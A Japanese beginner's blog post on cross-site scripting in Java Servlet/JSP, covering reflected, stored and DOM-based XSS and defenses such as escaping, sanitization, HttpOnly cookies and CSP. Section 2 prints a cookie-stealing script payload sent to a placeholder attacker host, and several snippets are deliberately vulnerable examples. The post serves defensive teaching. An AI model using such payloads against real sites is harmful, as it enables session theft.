はじめに
こんにちは。
プログラミング初心者wakinozaと申します。
勉強中に調べたことを記事にまとめています。
十分気をつけて執筆していますが、なにぶん初心者が書いた記事なので、理解が浅い点などあるかと思います。
間違い等あれば、指摘いただけると助かります。
記事を参考にされる方は、初心者の記事であることを念頭において、お読みいただけると幸いです。
動作環境
- Windows11
- Oracle Java 21
- Visual Studio Code
記事のテーマ
- Webアプリケーションのセキュリティについて勉強しています。
- この記事では、Java(Servlet/JSP)での、クロスサイト・スクリプティング(XSS)対策についてまとめます。
目次
1. クロスサイト・スクリプティングとは
2. 反射型XSS
3. 蓄積型XSS
4. DOM Based XSS
5. HTMLテキストの入力を許可しない場合の対策
6. HTMLテキストの入力を許可する場合の対策
7. 全てのウェブアプリケーションに共通の対策
8. 補助的な対策
1. クロスサイト・スクリプティングとは
クロスサイト・スクリプティング(XSS)とは、出力処理に脆弱性があるWebサイトに、悪意のあるスクリプトを埋め込むことで、攻撃者が意図した処理をブラウザ上で実行させる攻撃です。
XSSによって、主に以下の脅威が発生します。
- 本物のWebサイト上に偽のWebサイトが表示 : 攻撃用サイトに誘導したり、パスワードやクレジットカード情報を入力させる
- ブラウザに保存されているCookieを取得される : セッションIDが盗まれ、被害者のアカウントに成りすまして、不正な操作を行う
- 攻撃者の任意のCookieを保存させられる : 「セッション固定化」攻撃に悪用される
XSS脆弱性の根本原因は、ユーザの入力情報をそのままWebサイトに表示していることにあります。
まずは、ユーザ名をWebサイト上に表示するコードを例に、XSS脆弱性の仕組みを説明していきます。
<!-- ユーザ名を入力するフォーム -->
<form action="hello" method="POST">
名前を入力してください: <input type="text" name="userName">
<input type="submit" value="送信">
</form>
// フォームの入力データをJSPに送るServletクラス
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
//リクエストパラメータから入力情報nameを取得
String name = request.getParameter("userName");
//name値をリクエストスコープに格納
request.setAttribute("name", name);
// nameを表示するresult.jspにフォワードする
request.getRequestDispatcher("/result.jsp").forward(request, response);
}
}
<!-- 脆弱性があるため、非推奨のコード -->
<!-- HelloServlet.javaから渡された変数nameをサイト上に表示するコード -->
<h1>こんにちは、 ${name} さん!</h1>
上のようなサイトがあるとします。(このプログラムには脆弱性があるため、実務で用いるのは厳禁です)
このサイトのフォーム欄に、攻撃者がJavaScriptを含む文字列情報を入力したとします。
すると、最終的にresult.jspのコードが以下の状態になります。
<h1>こんにちは、 <script>alert('XSS攻撃!');</script> さん!</h1>
ブラウザは、サーバから上のレスポンスが来ると、HTMLを上から順番に読み込んで、Webサイトを表示します。
その際、「script」というタグを見つけると、JavaScriptの命令と判断して、実行します。
上のコードでは、画面上に「XSS攻撃!」と書かれたアラートメッセージが表示されます。
このように、入力情報をそのまま出力処理するような脆弱性があると、簡単にWebサイトの表示を変えることができるのです。
とはいえ、攻撃者自身がWebサイトを閲覧して表示を変更しても、攻撃者に直接的なメリットはありません
攻撃者は、ブラウザの表示を操作できる脆弱性をうまく利用して、攻撃を仕掛けてきます。
攻撃方法としては、「反射型XSS」「蓄積型XSS」「DOM Based XSS」の3つに分かれます。
2. 反射型XSS
まず、反射型XSSについて説明していきます。
反射型XSSは、リクエストパラメータに含まれた入力値が、そのままレスポンスに反映されることで発生する攻撃です。
実装上はGETリクエストで発生するケースが多いですが、POSTリクエストでも同様に起こり得ます。
攻撃者は、XSS脆弱性のあるサイトを見つけると、GETリクエストのパラメータに悪意のあるスクリプトを格納したURLを作成します。
http://example.com/search?q=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
上のURLは、XSS脆弱性のあるWebサイト「example.com」の検索欄に以下のスクリプトを埋め込んでいます。
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
攻撃者は上のURLを短縮URLサービスなどで誤魔化したうえで、標的を上のURLのリンクに誘導します。
標的がリンクをクリックすると、標的のブラウザ自身から上のURLが送信されるため、標的のブラウザ上で悪意のあるスクリプトが実行されます。
上のURLでは、標的のCookieが攻撃者に自動で送信されるため、セッションハイジャックなどのさらなる攻撃の隙を与えてしまいます。
このように、URLを利用して標的のブラウザを操り、セキュリティ情報を盗んだり、偽サイトに誘導する攻撃が、「反射型XSS」です。
反射型XSSは、攻撃者が作った「罠サイト」ではなく、「本物」のWebサイトを利用した攻撃です。
そのため、標的は、「本物」のWebサイトからの案内だと誤認し、悪意のあるリンクをクリックしてしまいます。
3. 蓄積型XSS
次に、蓄積型XSSについて説明していきます。
蓄積型XSSでは、ユーザの入力内容がデータベースに保存され、他のユーザもその内容を閲覧できる掲示板やSNSなどのサービスで起こります。
攻撃者が、XSS脆弱性のあるWebサイトを見つけると、悪意のあるスクリプトを投稿し、データベースに保存させます。
この時点では、スクリプトはただの文字列情報としてデータベースに格納されているだけで、何の害もありません。
しかし、他のユーザがその投稿を閲覧しようとリクエストすると、サーバはデータベースから情報を読み出し、HTMLに格納してブラウザにレスポンスを返します。
他のユーザのブラウザが悪意のあるスクリプトを含んだHTMLを読み込んでしまうため、XSS攻撃の被害にあいます。
反射型XSSは、リンクをクリックした人のみを狙う攻撃だったのに対し、蓄積型は悪意のある投稿を閲覧した不特定多数を標的にした攻撃であるため、被害が拡大しやすいという特徴があります。
また、反射型XSSはリンクのURLが不自然であるため、攻撃用URLだと気付ける余地がありますが、蓄積型XSSは正規のURLにアクセスするだけで被害にあってしまうため、攻撃を受ける利用者側で防ぐ手段はほとんどありません。
そのため、開発者が脆弱性のないWebサイトを開発することが、XSS脆弱性を防ぐ唯一の手段となります。
4. DOM Based XSS
次に、「DOM Based XSS」について説明します。
反射型と蓄積型では、「ブラウザ」→「サーバ」→「ブラウザ」の流れでスクリプトが実行されていました。
しかし、一部のスクリプトは、サーバに送信されずにブラウザ内で処理を行います。
なぜこのようなことが可能なのかというと、HTMLから構築したデータ構造(Document Object Model:DOM)が、ブラウザのメモリ上に保存されているためです。
最初にWebサイトを閲覧するときは、もちろんサーバからHTML情報を取得します。
この時、ユーザの操作によってDOMにある情報が変化したとします。
ユーザが操作するたびにサーバに送信し、新しいHTML情報を生成・受信していては処理速度は遅くなります。
そのため、一部の処理はサーバーにデータを送信せずに、ブラウザ内のDOMを操作することで処理を完結させているのです。
サーバへ送受信する手間がかからないため、高速に動作します。
しかし、時にブラウザ上で動作するJavaScriptが、悪意のあるデータをDOMに書き込んでしまう場合があります。これが「DOM Based XSS」です。
「DOM Based XSS」では、悪意のあるスクリプトがサーバを経由せずに直接DOMに書き込まれるため、サーバ側の対策では防ぎきれません。そのため、クライアント側での安全なJavaScript実装が必要になります。
5. HTMLテキストの入力を許可しない場合の対策
次に、Java言語(Servlet/JSP)での、反射型・蓄積型XSS脆弱性への対応方法を説明していきます。
XSS脆弱性は、ユーザが入力した情報を「エスケープ」せずに出力していることに起因します。
HTMLには、「<」「>」「&」などの特別な意味を付与された特殊文字があります。
攻撃者はこの特殊文字を使うことで、入力された文字列をHTMLやJavaScriptだと誤認させ、任意の処理を埋め込んでいるのです。
この特殊文字を、特別な意味を持たない無害な文字に変換する作業を「エスケープ」と言います。
XSS対策は、「ユーザ入力情報を出力する際は、事前にエスケープ処理をする」が基本になります。
XSS対策は、ユーザにHTMLテキストの入力を許可する場合と、許可しない場合で異なります。
多くのWebサイトでは、ユーザにHTMLテキストの入力を許可しないので、まずはそこから説明していきます。
ユーザにHTMLテキストの入力を許可しない場合のエスケープ方法は、タグライブラリを使った方法とホワイトリスト方式のチェックなどがあります。
5-1. タグを使ったエスケープ処理
Java言語(Servlet/JSP)でWebサイトの表示を担うのは、「JSPファイル」です。
JSPファイルは、HTMLで構成され、その中にJavaのコードを格納します。
JSPファイル中のロジックは、Java言語で記載することもできますが、JSTL(Jakarta Standard Tag Library)を利用すると簡潔に記述できます。
JSTLを使って情報を出力する際は、「c:out」タグを利用します。
このタグは、デフォルトでエスケープ処理を実施しますので、ユーザ入力情報やデータベースやファイルから取得した情報を出力する際、「c:out」タグを利用することで、XSS脆弱性をなくすことができます。
<!-- 脆弱性のある例 -->
検索結果: <%= request.getParameter("keyword") %>
<!-- 安全な出力処理の例 -->
検索結果: <c:out value="${param.keyword}" />
5-2. ホワイトリスト方式
URLには、「http://」や「https://」から始まるものだけでなく、「javascript:」の形式で始まるものもあります。
Webサイトに出力するリンク先や画像のURLが、ユーザ入力情報やデータベースの検索結果から生成される場合、そのURLにスクリプトが含まれていると、XSS攻撃が可能となる場合があります。
そのため、URLを生成する場合は、「ホワイトリスト方式」でチェックを行い、「http://」や「https://」から始まる文字列のみを許可し、「javascript:」の形式を許可しないという対応が必要です。
<!-- 脆弱性のある例 -->
<a href="<%= request.getParameter("url") %>">マイページへ</a>
// ホワイトリスト方式のチェック例
String url = request.getParameter("url");
// http または https で始まるもののみ許可する
if (url.startsWith("http://") || url.startsWith("https://")) {
request.setAttribute("safeUrl", url);
} else {
// それ以外の場合は、デフォルト値を格納する
request.setAttribute("safeUrl", "/default_path");
}
6. HTMLテキストの入力を許可する場合の対策
次に、HTMLテキストの入力を許可する場合の対策です。
ブログのエディタなどでは、ユーザが文字の装飾(太字・色など)を自由に指定できる機能を持つサービスが提供されています。この時内部では、ユーザ入力情報をHTML情報として利用しています。
その際に、デフォルトでエスケープ処理を実施する「c:out」タグを利用すると、ユーザが指定した情報を利用できません。
そのため、「c:out」タグのエスケープ機能を用いずに、別の手段で構文解析を行い、XSS攻撃引き起こす構文を排除(サニタイズ)する必要があります。
構文解析を自前で開発するのは困難なので、「OWASP Java HTML Sanitizer」ライブラリを利用します。
「OWASP Java HTML Sanitizer」はホワイトリスト方式の構文解析を行うライブラリで、指定した安全なタグだけを残し、それ以外を削除するフィルターを実現します。
「OWASP Java HTML Sanitizer」ライブラリでの構文解析は、以下の通りです。
import org.owasp.html.PolicyFactory;
import org.owasp.html.HtmlPolicyBuilder;
public class MyHtmlPolicy {
// 許可するタグを指定して、ポリシーを定義しておく
public static final PolicyFactory POLICY = new HtmlPolicyBuilder()
.allowElements("b", "i", "u", "strong", "em") // 太字、斜体、下線を許可
.allowElements("a") // リンクを許可
.allowUrlProtocols("http", "https") // リンクのプロトコルを制限
.allowAttributes("href").onElements("a") // aタグにはhref属性を許可
.requireRelNofollowOnLinks() // リンクには自動で rel="nofollow" を付与
.toFactory();
}
//ユーザ入力情報を、定義したポリシーに通します。
public class PostServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// 1. ユーザーからの入力を受け取る(まだ危険な状態)
String rawInput = request.getParameter("content");
// 2. ポリシーを適用してサニタイズ(無害化)
String sanitizedHtml = MyHtmlPolicy.POLICY.sanitize(rawInput);
// 3. 安全になったHTMLをリクエストスコープにセット
request.setAttribute("safeContent", sanitizedHtml);
// 4. JSPへフォワード
request.getRequestDispatcher("/display.jsp").forward(request, response);
}
}
サニタイズ済みの文字列は、安全なHTMLタグだけがふくまれているので、「c:out」タグを使用せずに、出力します。
「c:out」タグを使用すると、せっかく残した安全なHTMLタグまでエスケープされてしまい、ユーザが指定したHTML要素を利用できません。
<!-- サニタイズ済みなので、そのまま出力する -->
<div class="user-content">
${safeContent}
</div>
7. 全てのウェブアプリケーションに共通の対策
次に、ユーザ入力情報にHTMLテキストを許可するかしないか関わらず必要になる対策を説明します。
HTTPのレスポンスヘッダのContent-Typeフィールドに文字コードを指定することは、XSS対策として非常に重要です。
文字コードを指定しないと、サーバやブラウザ間で異なった文字コードで情報が解釈される可能性があります。
文字コードの解釈がづれると、エスケープ処理をかいくぐる余地を攻撃者に与えてしまいます。
5c問題のような攻撃を防ぐためにも、文字コードを指定し、ブラウザが異なる文字コードでデコードしたいように指定することは重要です。
response.setContentType("text/html; charset=UTF-8");
5c問題については、前回の記事の「文字エンコーディングの設定」で紹介しています。
8. 補助的な対策
この章では、直接XSS攻撃を防ぐわけではないが、補助的に行っておくとよい対応策をまとめます。
8-1. 入力値のチェック
ユーザ入力情報がアプリケーションの使用に沿っているかのバリデーションを行います。
例えば、英数字のみを利用する入力情報の場合、英数文字のみを許可してそれ以外をデフォルト入力に変換するホワイトリスト方式のバリデーションを実装すると、XSS脆弱性のもととなる特殊文字が含まれないため、攻撃リスクを下げることができます。
8-2. CookieにHttpOnly属性を付与する
Cookieに「HttpOnly属性」に付与することで、万が一WebアプリケーションにXSS脆弱性があったとしても、「セッションハイジャック」を防ぐことができます。
ブラウザ上のJavaScriptからは document.cookie という命令を使うことで、そのサイトのCookieを読み取ることができます。
攻撃者はXSSを利用してこの命令を実行し、ユーザーのセッションIDを盗み、セッションハイジャックなどのさらなる攻撃を行います。
そこで重要なのが、「HttpOnly属性」です。
「HttpOnly属性」は、Cookieに設定できるオプションの一つです。
これを有効にすると、そのCookieには「ブラウザのJavaScriptからアクセスできなくなる」という制限がかかります。
もし、WebサイトにXSS脆弱性があり、攻撃が通ってしまったとします。しかし、もしCookieに「HttpOnly属性」が付与されていれば、JavaScriptからCookieの内容を取得することができず、セッションIDが盗み出されることはありません。
「HttpOnly属性」はXSS攻撃を防ぐことはできませんが、万が一XSS攻撃が通ってしまっても、攻撃者に情報を与えないようにする防波堤のような役割を果たします。
しかし、偽の入力フォームにパスワードを入力させるような画面を改ざんするXSS攻撃には通用しません。
「HttpOnly属性」を付与しても、すべての悪意のあるスクリプトを無効化できるわけではないので、前述のエスケープ処理を万全に行うことが重要です。
Java(Servlet/JSP)では、Cookieクラスを作成し、以下のコードを記述します。
この時、ついでにHTTPS通信のみ送信する「Secure属性」も付与しておくとより安全です。
Cookie sessionCookie = new Cookie("JSESSIONID", "XYZ123456789");
// HttpOnly属性を有効にする
sessionCookie.setHttpOnly(true);
// ついでにSecure属性(HTTPS通信のみ送信)もつけるのが実務の鉄則
sessionCookie.setSecure(true);
response.addCookie(sessionCookie);
アプリケーション全体に設定したい場合は、Web.xmlファイルに記述します。
<session-config>
<cookie-config>
<http-only>true</http-only>
<secure>true</secure>
</cookie-config>
</session-config>
8-3. ブラウザのXSS対策を有効にする
ブラウザにも、XSS攻撃のブロックをする機能があります。しかし、ユーザの設定によっては無効になってしまっている場合があるため、サーバ側から明示的に有効にすることで、セキュリティレベルを向上させることができます。
例えば、「Content Security Policy (CSP)」は、ホワイトリスト方式で、ブラウザが読み込むことができるリソースを指定できます。
もし攻撃者がスクリプトを埋め込むことに成功しても、そのスクリプトが「許可されていないもの」であれば、ブラウザが実行を拒否します。
例えば、以下のコードでは自分自身のドメイン('self')から提供されるスクリプトのみを許可し、それ以外の外部ドメインやインラインスクリプトの実行を拒否するように設定しています。
response.setHeader("Content-Security-Policy","default-src 'self'; script-src 'self'");
Content Security Policy導入には、本来の動作に影響を与える可能性があるという欠点があります。
例えば、インラインのスクリプトが実行できなかったり、外部サービスや広告が表示されない場合があります。
Content Security Policyを導入する際は、挙動を確認し、許可するドメインを適時追加するなどのリファクタリングが必要になるため、注意が必要です。
まとめ
-
XSSの根本対策としてのエスケープとサニタイズ : 通常のテキスト出力には「c:out」タグによるエスケープを徹底し、HTML入力を許可する特殊なケースでは「OWASP Java HTML Sanitizer」等のライブラリを用いたホワイトリスト方式のサニタイズを行う。
-
「どこで処理されるか」による攻撃種別の理解 : サーバーを介する「反射型」「蓄積型」だけでなく、ブラウザのメモリ上のデータ(DOM)をJavaScriptが不適切に扱うことで発生する「DOM Based XSS」への警戒が必要である。
-
Cookieの保護による被害最小化 : 万が一XSS脆弱性が悪用された場合でも、セッションIDを盗ませないためにCookieへHttpOnly属性およびSecure属性を付与し、セッションハイジャックのリスクを低減させる。
-
CSP(Content Security Policy)による多層防御 : ブラウザ側で許可されたリソースのみを実行させるCSPを導入することで、予期せぬスクリプトの実行を「最後の砦」としてブロックする多層防御の構造を構築する。
-
一貫した文字コードの設定 : Content-TypeヘッダーでUTF-8等の文字コードを明示し、サーバーとブラウザ間の解釈の不一致を突いたエスケープ回避攻撃を防ぐ。
記事は以上です。
最後までお読みいただき、ありがとうございました。
参考情報一覧
この記事は以下の情報を参考にして執筆しました。
- [体系的に学ぶ 安全なWebアプリケーションの作り方 第2版]
- [スッキリわかるJava入門 実践編 第4版]
- [スッキリわかるサーブレット&JSP入門 第4版]
- [基礎からのサーブレット/JSP 第5版]
- セキュアコーディング JavaにおけるXSS対策(最終更新 2025-02-14)(参照 2026-1-26)
- OWASP Java HTML Sanitizer(参照 2026-1-26)
- 安全なウェブサイトの作り方 - 1.5 クロスサイト・スクリプティング (参照 2026-1-26)
- コンテンツセキュリティポリシー (CSP) (参照 2026-1-26)
- サイト脆弱性をチェックしよう! -- 第20回:CSP(Content Security Policy)(最終更新 2022-07-25)(参照 2026-1-26)